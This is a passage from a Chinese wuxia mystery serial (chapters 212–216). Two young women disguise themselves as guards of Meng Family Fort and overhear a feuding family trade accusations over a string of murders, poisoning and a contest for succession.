一道粗粝的命令声随之响起。
“这也太猛了。”纪华筠叹道。
孟蕊立马捂住她的嘴,做了个噤声的手势。
她们所处的密室,位于小厨房后面隔出的暗室,非常隐蔽,可以暂时躲藏,但与门口离得近,声音太大,恐会被外面搜查的孟家堡护卫听见。
就像现在,她们也能清楚地听到外面的人说话。
“范统领,这里有三个晕倒的侍卫,是谢大人带来的人。”
“范统领,内院也有晕倒的侍卫,四个在房间门口,还有一个在房间内。”
带头的是范统领?孟蕊对此人印象深刻。
下午在闲云堂,这个范统领能直接对孟简汇报,他很可能是孟简的心腹。
那么此刻,他也是听孟简的命令,来搜查刺客的吗?
随着时间的推移,外面持续传来护卫的禀报声。
“范统领,除了这些侍卫,没有发现其他人,也没有找到谢大人。”
“没有发现打斗痕迹,这些侍卫,应该都是被人从背后偷袭,一击打晕的。”
“范统领,厢房没有发现。”
“厨房也没有发现。”
……
一刻钟后,搜查终于停止。
“范统领,这里已经搜遍了,没有找到刺客。”是护卫的回禀声。
“收队,李尔和李山留下,守住天源阁的大门,有情况及时向我禀报。”
范统领粗粝的声音再度响起。
“其余人,跟我去别处搜查刺客!”
躲在密室中的孟蕊和纪华筠,听着外面逐渐归于平静,只剩留守的两个护卫的闲谈声。
李尔:“山子,你说地上那些侍卫,会不会突然站起来?我们两个打不过怎么办?”
李山:“范统领不是说了吗?这些人颈后都挨了重击,一时半刻醒不过来,你怕啥?”
李尔:“那就好,今晚发生的事,实在太诡异了,咱俩留在这儿是好事。”
李山:“也是,昨晚三少爷被挂在自个儿院子的树上,今晚大少爷被挂在祠堂外头的树上,真是太吓人了,我都不敢看。”
李尔:“谁说不是呢?我就看了那么一眼,吓得我,现在还觉得背后发冷,阴风阵阵的……嘶——!你是谁……唔!”
李山:“放过我……嗷!”
……
纪华筠武功好,几下搞定这两个护卫,将他们点了定身穴和哑穴,一手拎着一个,轻松拖进了天源阁的内院。
另一边的孟蕊,从小厨房的密室出来后,趁着纪华筠去抓那两个护卫的功夫,她快速检查了地上晕倒的侍卫们。
好在孟家堡的护卫,只是搜查,没有对这些晕倒的侍卫做什么。
孟蕊又快步跑回自己的房间,见吟秋平安无事地躺在原地,松了一口气。
她费了大力气,才将地上的吟秋,搬到床上,然后从房间出来,就看到纪华筠一手一个,像拎着两筐鸡蛋一样轻松般,拎着两个五大三粗的护卫回来了。
孟蕊是知道纪华筠有家传的大力气,但亲眼看着这一幕,还是感到很震撼。
纪华筠对孟蕊点了下头,提着两名护卫,进了自己房间,用床单撕成布条,把他们绑了手脚,防止他们冲破穴道逃跑。
孟蕊谨慎地将内院和外院之间的门关闭,上锁,跟在纪华筠身后也进了屋。
“两位兄弟别怕,我们只是有些事想要请教,只要你们以实相告,绝不会伤害你们。”
孟蕊先礼后兵,对着两名孟家堡护卫拱了拱手。
“你们答应不喊叫,我就让我的朋友,解开你们身上的穴道,同意的话,请眨一下眼。”
看到两名护卫都眨了眼,孟蕊对纪华筠点了下头,纪华筠解开了两人的哑穴。
穴道一解开,其中一个叫李山的还想大叫,被纪华筠哐哐两个大嘴巴扇过去,脸红了一片,人也老实了。
据这两人交代,他们刚才之所以会来搜查刺客,是因为今晚的孟家堡,又死了人。
死者有两名。
一个是孟繁的长子,孟大少爷孟子仁。
今晚,孟子仁本应在祠堂中,和孟子信一起思过。
二更天时,孟子信犯病晕倒,被下人们抬走,孟子仁也沾了光,得以回去歇息。
但不知怎么的,本该回到自己院子睡觉的孟子仁,却在三更天时,突然被人发现挂在了祠堂外的大树上。
和三少爷孟子俊的死状,一模一样。
另一名死者,是孟简的幼子,孟五少爷孟子伦。
当下人发现孟子仁的尸体,忙着去禀报守灵的孟繁和孟简时,赫然又发现,五少爷的院子起了火。
五少爷孟子伦今年只有七岁,孟简冒着危险冲进火场,拼命把唯一的儿子救出来时,孟子伦已经没气了。
他不是死于大火,而是死于颈间那抹殷红的剑痕。
第212章 一波三折
乍听孟子仁和孟子伦的死讯,孟蕊和纪华筠都感到不可思议。
刚刚来天源阁搜查刺客的范统领,就是来找杀死两个少爷的凶手。
“你们抓刺客凶手,为何要来搜查天源阁?”孟蕊问。
护卫李尔答:“因为在搜查其他院子时,巡逻的护卫看到有黑影,飞向了天源阁的方向。”
黑影?孟蕊想到她房中,夜半突然出现的黑衣蒙面人,那人果然就是凶手吗?
“不止这个,我还听说,大少爷也是中了混元裂空掌而死的,谢大人会这种掌法,所以才要来查谢大人。”护卫李山补充道。
这两个护卫很快就吐露了个干净,但他们知道的事有限,有用的消息不多。
之后,纪华筠把他们打晕,扒下他们身上孟家堡的护卫服,和孟蕊一起换上。
“穿上这身衣服,是不是可以在孟家堡里随意走动?”
纪华筠欣赏着护卫装扮的自己,兴奋地问。
“我们一起去抓凶手吧?把凶手抓住,那谢大人身上的嫌疑不就自动解除了?”
孟蕊白了她一眼,“抓凶手是孟家堡的事,我们现在,要利用这身护卫的衣服,逃出孟家堡再说。”
“我们要逃?”纪华筠诧异地问,“你不管你爹了?”
孟蕊一边整理衣服,一边解释:
“院子里的侍卫都被打倒了,凭我们两个人,势单力薄,太被动了,先想办法出去孟家堡,带上堡外驻扎的百名侍卫,再来问孟家堡要人。”
纪华筠一听,她们是要去搬援兵杀回来,更兴奋了,立即同意和孟蕊一起走。
离开天源阁之前,她们将两个护卫藏在了柜子里,又将晕倒的吟秋,抱去小厨房的密室藏好。
原本,只需要给出信号,就能让堡外驻扎的侍卫,进入天源阁待命。
但现在知道怎么发信号的侍卫都晕倒了,孟蕊只能用最笨也最有效的办法,直接本人去找援兵。
孟蕊考虑过,待在天源阁,等父亲回来,以父亲的本事,肯定不会让自己沾上杀人凶手的污名,刚才的搜查刺客,也许只是一场误会。
但万一呢?
万一父亲被擒,被污蔑是杀人凶手,孟家堡的人要伤害他呢?
孟蕊不想被动等待,她要把主动权,牢牢抓在自己手里。
去堡外的路不远,难的是如何避开孟家堡中的人,顺利翻墙出去。
孟蕊和纪华筠走出天源阁,刚走没几步,就看到一队护卫朝他们迎面走来。
领头的,正是刚刚带人来搜查天源阁的范统领。
孟蕊和纪华筠连忙低下头,暗道不妙,期望对方千万不要看出她们是假冒的。
范统领远远瞧见她们,只是轻快地招了招手,“李尔,李山,归队吧,天源阁不用守了。”
孟蕊和纪华筠互相对视,都从对方眼中看到惊慌和纠结。
她们的目标是离开孟家堡,要是跟着范统领的队伍走了,迟早会被发现冒充堡内护卫,可是不跟着走,现在就会被发现冒充身份。
范统领见她俩站着不动,不耐烦地催促道:
“犹豫什么?谢大人已经找到,没有嫌疑,你们不用继续守在这里,主院那边闹起来了,你们快随我去帮忙。”
孟蕊听到她爹找到了,心中一松,正想着是否要说明身份时,就看到身边的纪华筠,已经一脸期待地往范统领身后的队伍走去。
这家伙,准是听到主院闹起来,想跟去看热闹。
孟蕊没办法,只能随纪华筠到队伍最后,一起走向主院。
主院是历代堡主和夫人的住所,几日前孟堡主去世后,其妻苗氏依然住在这里。
苗氏是孟繁和孟简的生母,据说前日她在孟堡主的灵堂上悲伤过度晕厥,之后一直在自己房中养病。
孟蕊到孟家堡一天时间,还没见过这位苗夫人。
快到主院门口时,已经能听到主院中传来激烈的争吵声和痛哭声。
“母亲,子伦才七岁呀!他还那么小,居然被人下了杀手,您要为子伦做主呀!”
是孟简的妻子蒋氏,正在对着婆母苗氏哭喊。
“子伦颈上的剑伤,明显就是孟繁的七宝剑所为,是孟繁,他要杀了我的儿子!您的孙子啊!”
孟蕊听到这番话,心中一动,孟简的幼子,竟是孟繁所杀?为了什么呢?
她加快了脚步,跟着队伍一起走进主院,范统领指挥他们这些护卫,站在主院的廊下待命,如果主家产生冲突,要及时出手阻止。
孟蕊按照顺序,刚好站在靠近门口的立柱旁,纪华筠在她前面一点的位置。
范统领和其他侍卫的注意力,都被主院中拉扯的主家众人吸引,没有人察觉到孟蕊和纪华筠,不是原来的李尔和李山。
主院中灯火通明,十几个灯笼,将院子照得宛如白昼,孟简和妻子蒋氏,孟繁和妻子杨氏,还有老夫人苗氏,以及田管家、杨玄松等人都在。
蒋氏怀中,还抱着儿子孟子伦小小的尸体。
她将孟子伦的尸体,放在前方的地面上,指着儿子颈间的致命剑痕,对着苗氏凄厉地喊道:
“母亲,您来看啊!这样独一无二的剑伤痕迹,是只有孟繁的七宝剑,才能造成的伤口,可是他居然不承认,求母亲!给我和我的孩儿做主啊!”
丫鬟婆子扶着的苗氏,从台阶上缓缓走下来,胆战心惊地去看地上躺的孩童。
“这……怎么会这样?”
苗氏年轻时生得玉容花娇,多年富贵滋养,生活顺心,又保养得宜,让五十岁的苗氏看起来不过三四十岁的模样。
她惊骇地拿帕子捂住嘴,害怕地问大儿子孟繁,“繁儿,你来说,这到底是不是……”
“娘,不是我,孩儿有什么理由要杀子伦那么小的孩子呢?”
孟繁手足无措,肥胖的脸上,掺杂着慌乱和恐惧。
“孩儿这一晚上,除了为父亲守灵,还要忙子俊的丧事,然后下人来报,说子仁也……”
他突然哽咽,面色逐渐被悲伤覆盖,当着所有人的面,嚎啕大哭。
“哇呜——!我的子仁也被害死了!他被人一掌拍上心口,还被挂在树上,呜呜……是哪个挨千刀干的?我要杀了他!”
第213章 为子报仇
“子仁也没了?”
苗氏手捂着双眼,晃动着身子向后倒去,她身边的婆子丫鬟慌乱地喊着“老夫人”,手忙脚乱地扶住她。
“娘!您别激动!身体要紧啊!”
孟繁抹了一把泪,连忙上前,从丫鬟手中接过苗氏,呜呜哭诉。
“子仁被挂于祠堂外的树上,这是对我们整个孟家堡的挑衅,等找出那个凶手,我要把他千刀万剐!”
站在一边的杨氏,冷眼看着孟繁无能哭泣的样子,轻哼一声。
“孟繁,看来你对那个庶子是真心疼爱啊,昨日子俊被杀,都不见你哭成这样。”
孟繁肥腻的脸上挂着泪,怔愣看她,哽咽道:
“夫人,子俊和子仁被害,我都很伤心,你何苦这样说我?”
“呵呵,子俊死后,你为他做过什么?你有认真调查凶手吗?你去追捕那个逃往影山的疑凶吗?你没有!”
杨氏死死瞪着孟繁,发红的眼眶中,泪水已经流干,只剩彻骨的恨意。
“你忙着给你的两个庶子开脱,生怕我会趁审问害了他们,现在好了,抓不到凶手,你的儿子们,全部都要死!”
“妹妹,你少说两句。”杨玄松皱眉提醒。
杨氏毫无温度的视线,斜睨向杨玄松,“兄长,我的子俊不在了,我这个做母亲的,连句公道话都不能为他说了吗?”
“我不是这个意思,只是现在的情况,你不要再火上浇油。”
杨玄松一边说,一边对着杨氏使眼色,让她不要再说下去。
但失去了儿子的杨氏,已经不在乎什么夫妻、婆媳、兄妹关系,她推开杨玄松,上前指向一直没说话的孟简,逼问道:
“孟简,你说!是不是你杀害了我的子俊?混元裂空掌,只有你能使出那般力道,说啊!是不是你害了我儿子?”
杨氏扬起手,就要冲过来扑打孟简,被赶来的蒋氏挡住。
“嫂子,你干什么!”
杨氏被蒋氏阻拦,气愤地按住蒋氏的肩膀。
“是我要问你在干什么?到现在还维护他?你难道看不出来,他昨日做的那些事,都很不对劲吗?”
杨氏是习武之人,比闺秀出身的蒋氏力气大,强势揪着蒋氏转头,对上颓丧木然的孟简。
“你看看他!看看你的夫婿,他现在的表情说明什么?说明他后悔了!
是他杀了子俊和子仁,却没料到,孟繁为了报复,杀了他儿子,哈哈哈!真是太讽刺了!”
“你说什么?”蒋氏惊惧交加,不可置信地看看杨氏,又看看孟简。
“弟妹啊,我俩为他们兄弟操持半生,结果呢?他们兄弟为了夺位,互相残杀,死的却是我们含辛茹苦养大的孩子。”
杨氏仰天苦笑,状若疯癫。
“我是无所谓,孟繁永远不会再有儿子了,可是你呢?
年纪已大,再难生育,以后孟简当上堡主,还会和年轻漂亮的女人生儿子,哈哈哈!”
蒋氏怔愣地问:“你什么意思?为什么兄长不会再有儿子,明明他比我夫君风流多了。”
蒋氏和孟简成亲多年,孟简只有两个通房丫鬟,和妻妾无数的孟繁比,不知好了多少倍。
“因为我不会让他再有儿子,不会让其他人来挡我儿子的路。”
杨氏松开了蒋氏,坏笑着指向苗氏。
“我都是跟她学的,公公的女人不少,除了早逝的原配生的女儿,他娶了苗氏之后纳的女人,没有一个生出孩子的,此等手段,我怎能不好生学学?”
“杨氏,你疯了!”孟繁也不哭了,怒视杨氏,“你在胡言乱语什么?”
孟繁对着护卫招手,“夫人丧子失智,快把她请回去安歇!”
正看戏看得入迷的孟蕊,恍然意识到,自己现在就是护卫之一,连忙跟着其他护卫一起上前,向着杨氏包围过去。
“滚开!我看你们谁敢动我!”
杨氏“唰”地从袖中抽出一把匕首,横在胸前,对着他们威胁。
“我可不是娇滴滴的女子,谁敢过来,我就杀了他!”
孟蕊停下脚步,用余光瞄向其他护卫,见大家都忌惮地站在原地,松了口气。
杨氏出身凌剑山庄,武功肯定不会差,孟蕊可不想去当炮灰。
见护卫们没有再动,杨氏冷笑一声,把玩着匕首,挑衅地望向苗氏和孟繁。
“婆母当真是好手段,赶走了公公原配夫人的唯一女儿孟天,断了孟天与我兄长的姻缘,又让自己蠢猪一样的儿子续上婚约,逼着我们杨家履行,让我不得不捏着鼻子嫁了孟繁这个废物,这么多年,我真是忍得好辛苦。”
此言一出,众人震惊。
没想到当年孟家堡和凌剑山庄的联姻,还有这一层纠葛在里面。
原本还在为孙儿被害流泪的苗氏,脸上的伤心一滞,不敢相信地看向杨氏。
“杨氏,看来繁儿说的没错,你是真的疯了,我念你经历丧子之痛,不与你计较,快扶她回去歇息吧。”
“别给我来这套!”
杨氏恨恨瞪着苗氏。
“你这个口蜜腹剑的老太婆,我和你不一样,你给那些妾室下药,我呢,只给你儿子下药,你儿子孟繁,这辈子,不会再有孩子了,你听清楚了吗?”
苗氏表情微愣,扶着她的孟繁先发了飙,“毒妇,你竟然对我下药,断我子嗣?!”
孟繁想到仅有的三个儿子没了两个,此刻更加痛心。
“孟繁,我嫁给你,就是奔着让我儿子继承孟家堡来的,当然要断了你其他后路。”
杨氏哈哈笑着,张狂地说。
“不然你以为,当年我为什么会同意嫁给你?图你肥圆如猪,脸大如盘?还是图你花天酒地,一无是处?你怎么没点数呢?”
杨氏多年筹谋,都随着唯一儿子孟子俊被害,化为虚无,她不想让任何人好过。
“孟繁,你好好想想,你现在只剩孟子信一个儿子,他身体弱,说不定会死在你前头,到那时,孟家堡会是谁的天下?孟简掌了权,堡内安有你的地位?”
她循循善诱,逐渐露出了真实目的。
“孟简他杀了你的两个儿子,你杀了他一个儿子有什么用?
他还能再生,但你不会再有新的儿子了!
孟繁,你还在犹豫什么?快杀了他!为你的两个儿子报仇啊!”
第214章 夫妻反目
“你这毒妇!给我儿下毒不说,竟要引得我两个儿子自相残杀?”
苗氏动了怒,保养得宜的脸上面目狰狞,她不再是那副哀戚的可怜样,指着杨氏,对周围的护卫下令。
“你们愣着干什么?还不快把这个疯女人给我抓起来!”
见护卫们忌惮杨氏的武功和手中匕首,不敢上前,苗氏上前一步,大声加重筹码。
“今日谁能抓住她,赏银一百两!”
一百两银子,对于月钱只有一二两银子的护卫们来说,是个不小的诱惑。
重赏之下,必有勇夫!
护卫们虎视眈眈地将武器对准杨氏,缓慢包围、靠拢。
几个眼热的护卫,生怕自己落了后,与赏银无缘,急急冲到了前头。
为了不让自己的不作为太突兀,孟蕊也随大流,拔出腰间佩剑,小心谨慎地小步向前,但速度比旁人慢了许多。
她不想对杨氏出手,这个说尽挑唆言语,只想为儿子报仇的可怜女人,不该被暴力对待。
而且,孟蕊更想保存精力,应对之后的影山之行,不想花费力气为苗氏做事。
所以,当最前面的护卫,已经和杨氏打起来时,孟蕊还拿着剑,装模作样地在后面晃悠。
纪华筠也是同孟蕊一样的想法,她的肢体更灵活,装出想要进攻,但左右寻找机会,却总被他人抢先的样子。
前方,杨氏打退了两个护卫,一脚踹飞一个,趁着空隙对着杨玄松大喊。
“兄长,这就是你劝我嫁的好亲事,我都被欺负到这般田地了,你就眼睁睁地看着我被羞辱打杀?我们凌剑山庄的脸面何在?”
杨玄松看着杨氏和护卫们打起来,虽不担心妹妹的武功,但这样下去,不是办法。
他上前几步,对苗氏行了个晚辈礼。
“苗夫人,我妹妹只是想为子俊报仇,你让护卫围攻她,未免过分了吧?”
苗氏面色不虞,冷淡回应:
“杨掌门,杨氏既嫁入了孟家堡,就是我孟家堡的人,她对丈夫下毒,对婆母不敬,疯癫若狂,不赶紧把她拿下,由得她放肆伤人不成?”
和苗氏站在一处的孟繁,挺着肥厚的大肚子,气哼哼地附和:
“我待杨氏不薄,堡中事务一应交给她处理,她居然给我下药,断绝了我的子嗣,此等恶行,决不能饶恕!”
“你若不在外面寻花问柳,让那些女人闹到我妹妹面前,让她难堪,她会出此下策?!”
看到苗氏母子势要将杨氏问罪的态度,杨玄松也忍不住脾气,对着孟繁指责起来。
“孟繁,你是命好,你娘赶走了孟天,让你成了孟家堡的继承人,才有资格娶到我妹妹,否则,你连我妹妹的衣角都摸不到!
你那点虚弱的武功,拿到江湖上去,谁能看得起你?
也就只能在自家地盘上作威作福,欺负自己的妻子,还不快让那些护卫住手!”
孟繁从来都知道,杨家兄妹看不上他,杨氏对他的鄙夷和冷淡,透露在生活的方方面面。
自从杨氏怀上孩子后,他们再也没有同过房,孟繁虽心有不悦,但他并不太在乎,里里外外那么多妾室红颜等着他,杨氏的那点拿乔,他没放在心上。
看在杨家的面子上,孟繁一直对杨氏礼遇有加,对杨氏所出的嫡子孟子俊,也颇为重视,吃穿用度都是兄弟之中最好的。
孟繁自认为,他已经够给杨氏面子,而现在,杨氏兄妹不但不知感恩,竟还当着这么多人当面数落他,真当他是软弱可欺了!
“杨氏发了疯,犯了大错,理应被抓起来关着!”
孟繁发了狠,对着杨玄松硬气了起来。
“这是我的家务事,杨掌门请回避,不要插手为好。”
杨玄松的手已经握上剑柄,他还在做最后的思想斗争,该不该为了妹妹,与孟家堡把关系搞僵。
“兄长,救我啊!”
杨氏求救的尖叫传来。
“你忘记你在爹娘面前发誓,要护我周全的吗?”
杨氏再次打退一波攻上来的护卫,已经有些力不从心,即使她武功比护卫们高出不少,但以一敌数十人,她已经快要支撑不住。
要是被护卫抓住,落入苗氏和孟繁的手里,她绝不会好过。
杨玄松听到杨氏提到爹娘,想到当年爹娘并不愿将妹妹嫁给孟繁,但为了孟家堡和凌剑山庄的同盟,为了他杨玄松能顺利继任掌门,才不得不送妹妹出嫁。
他的亲妹杨玄杉,嫁的不是孟繁这个人,而是孟家堡长子这个身份。
而如今看来,玄杉被这桩婚姻害苦了!
“住手!”
杨玄松厉喝一声,飞身跃入护卫包围中心。
他将亲妹杨玄杉护在身后,双手持剑,对着护卫们挥出带有凌厉剑气的一剑。
“啊——!”
最前面的护卫首当其冲,被剑气击伤、倒地,昏死过去。
其他护卫也不好过,都不同程度被杨玄松的剑气伤到,纷纷倒下。
孟蕊和纪华筠躲在最后排的角落,拿着刀剑做样子,受到剑气的影响不大。
孟蕊更是在看到杨玄松使出招式时,眼疾手快地把激动看杨玄松挥剑的纪华筠拉到一边。
随后,她们模仿其他护卫,同时倒在了地上,做出被剑气所伤的样子。
“咱们这样,会不会太假了?”纪华筠附在孟蕊耳边小声问。
孟蕊睨了她一眼,警告道:“闭嘴,别惹事。”
现在所有人的目光又都被杨玄松兄妹吸引,哪有人会注意到她们两个假冒的护卫?
孟蕊觉得这一趟来得挺值的,听到了孟家堡好多隐秘消息。
苗氏、孟繁、孟简,这母子三人,没一个好东西,娘亲当年在他们手上指不定吃了多少暗亏,孟蕊乐得看他们互咬。
杨玄松兄妹,也不无辜,他们为了孟家堡的势力联姻,就要承受联姻带来的一系列后果。
看着所有护卫,都被杨玄松一剑击败,孟繁吓得躲到了母亲苗氏身后。
而杨氏兄妹,并没有看他们。
杨玄杉带有杀意的目光,紧紧盯着孟简。
“兄长,我要杀了孟简,为我儿子俊报仇,从此之后,我与孟家堡,再无干系!”
说着,她握紧匕首,朝孟简走去。
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第215章 获利最大
“杉儿,冷静些!”
杨玄松一把抓住杨玄杉握着匕首的手,阻止她继续上前。
“子俊的死疑点重重,即使孟简的混元裂空掌,在所有人中最强,也不能断定他就是凶手!
无论是昨夜还是今晚,子俊和孟子仁被害的时候,孟简都在灵堂,有下人为证。”
“下人就不能说谎吗?”
杨玄杉想要挣脱兄长的手不得,愤愤道。
“原本我相信他的证词,怀疑孟子仁是凶手,但现在孟子仁也死了,死状还和子俊一样,获利最大的就是孟简,他还有什么好说的?”
杨玄松目光沉了沉,妹妹说的没错,孟繁的两个最得力的儿子都死了,孟简距离堡主之位的障碍变少,确实对他最有利。
“我不是获利最大的人。”
孟简略带沙哑的嗓音,幽幽传来。
他抬起头,一双伤痛的眼睛,定定看着杨玄杉。
“我的混元裂空掌,也不是所有人之中最强。”
“会掌法的孟子仁已经死了,你难道要说谢清源是凶手?”
杨玄杉嘴角扯出讽刺的弧度,如果不是被杨玄松拦着,她现在就要上去给孟简一刀。
“我们派出的人已经和渝州城门守兵、以及去往蓬州官道上的驿馆核实过,谢清源昨夜还在赶路,不可能是杀害子俊的凶手。”
“我说的,不是谢清源。”孟简自嘲一笑,“你们总说我的混元裂空掌厉害,怎么忘了?那个连父亲都忌惮的武学天才?”
见杨氏兄妹面露迷茫,显然没有明白自己的话,孟简不再卖关子,直白道:
“就是我们那位大姐姐啊!你们刚才不是还提到,她和杨掌门曾经的婚约吗?”
杨玄杉明白过来,“孟天?她以前的武功确实很厉害,但二十年不见,我们不知道她现在的实力。”
“她那样的天赋和心性,只会更强,不会变弱。”
孟简掷地有声,每个字都透着对孟天实力的肯定和忌惮。
“我收到消息,孟天现在取代孟逐风,成为了霸天帮的新帮主,她日常扮作孟逐风的模样行走江湖,不曾引人怀疑,可见她的武功,已经是与孟逐风旗鼓相当的水平。”
“天儿成为了霸天帮的新帮主?”
杨玄松双眼惊愕地睁大,着急追问。
“什么时候的事?我两年前还见过逐风叔父,他并无不同。”
孟简瞥向他,唇边勾起嘲讽,“三年前,孟逐风去世,孟天就已经是霸天帮的帮主了。”
“怎么可能?我那时见到的孟……难道是天儿?”
杨玄松眼神发直,一脸匪夷所思。
杨玄杉不似她兄长般发愣,她认定孟简是杀害她儿子的凶手,不会因为孟简的几句话,轻易改变判断。
“孟简,你别再找理由了,就算如你所说,孟天是霸天帮的帮主,她的混元裂空掌比你厉害,那又如何?”
她冷嗤一声,发红的眼中满是怀疑。
“你下一句该不会要说,是孟天用混元裂空掌,杀了我儿子?她离开孟家堡已经二十多年,有什么动机要杀人?
对了,公公去世前,我们还接到京城的消息,孟天因为救驾有功,被皇帝亲封为了二品诰命夫人,她女儿也被封为县主,她总不会还要来抢孟家堡这点三瓜两枣?”
孟天的夫婿谢清源是什么人家,谢清源这些年往孟家堡跑是为了什么,杨玄杉都很清楚。
在她看来,孟天过得很好,有儿有女,有钱有势,还有离开十几年也不变心的夫君,这是多少女人毕生所求,孟天都得到了,早已呈衰落之势的孟家堡,根本吸引不了孟天。
“嫂子,你不懂她。”
孟简轻笑着摇头,语调中带着一丝不易察觉的怨恨。
“我们这位大姐姐,从小就把孟家堡,视作是她的所有物。
她的东西,我和兄长不能摸,她娘住过的院子,我们不能住,就连祖父的院子,也被她霸占着,不让我和兄长与祖父亲近。
现在,父亲去世了,唯一能够约束孟天的长辈没了,孟天她一定会回来,拿走孟家堡的一切。
我们这些人,都是她的眼中钉,要被她除之而后快。”
孟简这番话,听得孟蕊火气上涌,她娘亲孟天,根本就不想来孟家堡,是孟家堡这些人,想方设法引诱她娘亲来。
还说她娘亲为了拿回孟家堡杀人?真是不可理喻,她娘亲根本看不上好吧?
孟简居然又要把杀人凶手的罪名,加到都没有出现在孟家堡的娘亲身上。
孟蕊咬了咬牙,按捺下心中愤怒,她现在有些赞同杨玄杉认为孟简是凶手的观点。
因为是真凶,所以孟简要想尽办法洗脱嫌疑,一直攀咬他人。
开始冤枉谢清源,后来说是化名余大钟的孟瑜,现在又诬陷孟天,孟蕊一回想,发现孟简一直污蔑的都是她的亲人,不但可恶,还十分可疑。
躺在地上的纪华筠,忍不住凑到孟蕊耳边讲小话:
“你娘挺护食啊,这个杀人动机挺激动人心的。”
孟蕊瞪了她一眼,对她做了个噤声的嘴型,继续目不转睛地盯着孟简那边的动静。
杨玄杉似乎有点被说动,拿不定主意地看向兄长,“孟天是那样的人吗?”
杨玄松直觉想说不是,但他又想到幼时见过的孟天,确实是个十分强势且带刺的女孩。
而且,他之前都没有察觉,自己见到的“孟逐风”,竟是孟天假扮,不由得开始怀疑自己对孟天的了解,是否过于浅薄?
至少孟简有一点没有说错,如果孟天想要杀人,以她的武功,完全可以神不知鬼不觉地完成之前三场凶案。
“看来杨掌门,也同意我的推断。”
孟简看着杨玄松的表情,得意起来。
“如果孟天是凶手,不杀光我们这些眼中钉,她不会停手,咱们现在最重要的,是团结起来,不要相互猜忌,再给敌人可乘之机。”
“孟天要杀光我们?”杨玄杉不信,“你说孟天是凶手,那她人在哪儿?今晚孟家堡的护卫,把堡内都搜遍了,根本没找到孟天的踪影。”
“不在堡内,就只有那个地方了”
孟简手指向黑沉沉的天空,白茫茫的雾气后,是看不清轮廓的影山……
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第216章 黑夜跟踪
“你是说,天儿来了孟家堡,躲在影山中?”
杨玄松望向远方影影绰绰的山峰,迷离的双眼瞬间恢复清明。
“不可能,夜晚影山危险,天儿武功再高,她一介女子,她……”
“她不是寻常女子,她比孔武有力的男人,还要厉害得多。”
孟简打断杨玄松的话。
“其他人夜晚上影山有危险,但孟天是=从小生活在孟家堡,去影山,就和回自己院子一样轻松,她杀了人,躲在影山上伺机而动,是她能做出来的事!”
孟繁从苗氏身后走出来帮腔:
“我可以作证,孟天从小脾气就怪得很,孤傲顽劣,一不高兴就躲进影山里,有一次,她连续消失了近十日。
就在父亲为此责怪母亲的时候,孟天啃着一个果子,从山里慢悠悠地下来,还说父亲不相信她的实力,大惊小怪,把父亲气得够呛。”
“确实如此,那孩子从小就顽劣不堪,目无尊长,胆大妄为。”
苗氏皱着眉,也跟着数落起孟天来,眉目之间浮现浓浓的怨恨。
“她才十几岁,就不止一次地说过,要杀了我这个占了她娘位置的女人,连带我的一双孩儿,她都不会放过。”
苗氏一边说,一边不自觉地捂住自己心口,脸色逐渐泛白。
“如今,老爷不在了,她终于是要来……取我和我儿孙的性命……”
苗氏似害怕地颤抖,头一歪,眼一闭,晕倒在儿子孟繁肩头。
“娘!娘您怎么了?”
孟繁手足无措地抱住苗氏,惊慌失色地喊道。
“我娘被孟天吓得晕过去了,快来人啊!”
身边的婆子丫鬟围过来,七嘴八舌地喊着“老夫人”,争相去扶苗氏。
一直侍立在苗氏身侧的田管家,看到苗氏发白的脸色,还有周围乱成一团的下人,紧张地大喊:
“快散开,别冲撞了夫人!”
他费力地扒开丫鬟婆子,挤到苗氏身边,伸手探上苗氏的脉搏,神色一变,对孟繁说:
“不好,夫人心疾犯了,大爷请让一让,让婆子们抬夫人进屋!”
孟繁外胖内虚,抱不动苗氏,田管家将他请开,让两个力壮的婆子,抬着苗氏进屋休养。
然后,田管家吩咐身旁的丫鬟,去请堡中的大夫过来。
一通忙乱之后,苗氏终于安顿下来,吃了大夫给的治心疾的药后,沉沉睡去。
因为苗氏突然发病,孟简忙着侍疾,杨玄杉在杨玄松的劝说下,暂时偃旗息鼓,一起跟着去看苗氏。
不是杨玄杉信了孟简的话,而是她知道,没有兄长杨玄松的帮助,她一个人打不过孟简,更何况孟家堡还有那么多护卫,她就算侥幸杀得了孟简,也很难逃出孟家堡。
趁着众人围着苗氏转的间隙,孟蕊和纪华筠一点一点挪到门口,然后偷偷溜出了主院。
守门的婆子看到她们出来,目露疑惑,但在看到她们身上的护卫服时,以为是院里的护卫们都要离开,直接放行。
孟蕊和纪华筠一出主院,便加快了脚步,直到远离的主院的范围,才停下来,靠在一处隐蔽的院墙角落暂歇。
“这里好像是客院附近,我们进去客院找你爹吧?”纪华筠小声提议。
孟蕊蹙眉看她,“你怎么知道我爹在客院?”
“当然是我问出来的。”
纪华筠眉梢一挑,洋洋得意地说。
“我前面那个护卫叫张武,我和他聊了几句,他告诉我,你爹今晚去找金老爷子喝酒去了,喝醉了在客院找了间房住下,所以没回来。
范统领他们之前不知道,搜了天源阁之后,又去搜了客院,才确定谢大人一晚上都和金老爷子在一起,没有时间去杀人,排除了他的嫌疑。”
孟蕊听罢,终于安心,但转念一想,惊诧地看向纪华筠。
“你和其他护卫说话了?他没发现你假冒身份?”
“应该没有吧?”
纪华筠歪着脑袋,想了下。
“张武人挺实诚的,他家里在渝州城开面馆,我还说有机会一定要去尝尝。”
孟蕊扶额,“……你们都聊到家里情况了?你没说什么不该说的?”
“还没聊几句,那个老太婆就让我们去打杨氏,张武为了赏银,冲到前面去了,我看他伤得不轻。”
纪华筠遗憾咋舌。
“不然,我还能问到更多消息……”
“嘘!有人过来了!”
孟蕊熟练地捂住纪华筠的嘴,拉着她蹲下。
两人屏气凝神,很快看到一道高大的人影,瞻前顾后、小心谨慎地从旁边走过。
是孟简!
他独自一人,要去哪里?
这个方向,不是回他自己院子的路。
孟蕊脑中浮现无数个猜想,孟简此时要去做什么?或是要去见谁?
他如果是凶手,又要去杀谁?
等到孟简走远,纪华筠迫不及待地扒下孟蕊的手。
“孟简偷偷摸摸的,肯定有鬼!咱们快跟上去瞧瞧!”
说着,纪华筠快速从怀中掏出两条黑布,把其中一条递给孟蕊。
“这是什么?”孟蕊接过黑布,就看到纪华筠把黑布蒙在了脸上。
“快带上呀!”纪华筠催促道,“话本子里夜探府邸,都要以黑巾蒙面,今天我终于可以实践一把了。”
纪华筠兴奋的表情,即使蒙着黑布,孟蕊也能看见。
她见孟蕊还不动作,直接抢过黑布,给孟蕊蒙在脸上,拉起孟蕊,就要去追孟简。
“等等!”孟蕊紧张地拽住纪华筠,“太危险了,我们还是先去找我爹……”
“时机不等人!”
纪华筠激动地打断孟蕊的话。
